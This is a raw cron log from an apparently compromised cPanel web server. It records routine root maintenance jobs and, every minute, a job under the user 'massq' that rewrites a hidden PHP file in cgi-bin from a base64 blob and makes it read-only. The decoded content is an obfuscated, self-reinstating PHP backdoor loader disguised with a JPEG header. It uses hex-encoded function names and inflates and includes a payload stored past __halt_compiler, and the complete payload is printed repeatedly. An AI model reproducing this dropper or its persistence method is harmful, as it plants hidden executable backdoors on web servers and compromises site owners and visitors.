--decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:41:01 server CROND[29494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:41:01 server CROND[29496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:41:01 server CROND[29495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:42:01 server CROND[29932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:42:01 server CROND[29934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:42:01 server CROND[29935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:42:01 server CROND[29933]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:43:01 server CROND[30323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:43:01 server CROND[30324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:43:01 server CROND[30325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:44:01 server CROND[30704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:44:01 server CROND[30705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:44:01 server CROND[30706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:45:01 server CROND[31192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:45:01 server CROND[31196]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:45:01 server CROND[31203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:45:01 server CROND[31206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:45:01 server CROND[31204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:45:01 server CROND[31213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:45:01 server CROND[31207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:46:01 server CROND[32081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:46:01 server CROND[32082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:46:01 server CROND[32083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:47:01 server CROND[32465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:47:01 server CROND[32466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:47:01 server CROND[32467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:48:01 server CROND[396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:48:01 server CROND[398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:48:01 server CROND[397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:49:01 server CROND[805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:49:01 server CROND[806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:49:01 server CROND[807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:50:01 server CROND[1406]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:50:01 server CROND[1407]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:50:01 server CROND[1410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:50:01 server CROND[1412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:50:01 server CROND[1418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:50:01 server CROND[1416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 19:50:01 server CROND[1417]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 19:50:01 server CROND[1415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:50:01 server CROND[1414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:51:01 server CROND[2280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:51:01 server CROND[2281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 19:51:01 server CROND[2282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:52:01 server CROND[2700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:52:01 server CROND[2699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:52:01 server CROND[2701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
